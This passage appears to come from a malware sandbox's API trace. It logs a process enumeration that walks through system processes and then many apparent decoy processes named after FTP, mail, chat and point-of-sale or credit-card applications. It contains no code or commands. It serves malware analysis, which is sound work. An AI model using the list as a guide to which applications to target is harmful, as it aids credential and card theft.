szExeFile="fontdrvhost.exe")) returned 1 [0098.486] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.486] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0098.487] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x57, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.488] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.489] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.490] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.490] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.491] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.491] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.494] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.495] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.495] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.496] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0098.496] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.847] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0098.847] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0098.848] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.848] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0098.849] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0098.849] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0098.850] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0098.851] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0098.851] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0098.852] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0098.852] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0098.853] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0098.854] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending-windsor.exe")) returned 1 [0098.854] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="impressed.exe")) returned 1 [0098.855] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="housing.exe")) returned 1 [0098.855] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x524, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="demonstrated.exe")) returned 1 [0098.856] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="clara_cancer.exe")) returned 1 [0098.856] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="solutionspassengersmoke.exe")) returned 1 [0098.857] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="wanted.exe")) returned 1 [0098.857] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="negotiations_g_mountains.exe")) returned 1 [0098.858] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="rebound_spec_december.exe")) returned 1 [0098.859] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="rt-flight.exe")) returned 1 [0098.860] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="actually_kent.exe")) returned 1 [0098.861] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="especially.exe")) returned 1 [0098.861] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0098.862] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="voluntary-fluid-heating.exe")) returned 1 [0098.863] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="copefinancesringtones.exe")) returned 1 [0098.870] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="recommend hold florists.exe")) returned 1 [0098.870] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0098.871] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0098.871] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0098.872] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0098.872] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0098.873] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0098.874] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0098.875] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0098.876] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0098.877] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0098.878] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0098.879] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0098.880] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0098.881] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0098.882] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0098.883] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0098.884] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0098.885] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0098.886] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0098.887] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0098.888] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0098.889] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0098.890] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0098.890] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0098.891] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0098.892] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0098.893] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0099.306] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0099.307] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0099.308] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0099.309] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0099.310] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0099.311] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0099.320] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0099.321] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x25c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0099.322] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0099.323] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0099.324] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0099.325] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0099.326] Process32NextW (in: hSnapshot=0x33c, lppe=0x2d3f6bc | out: 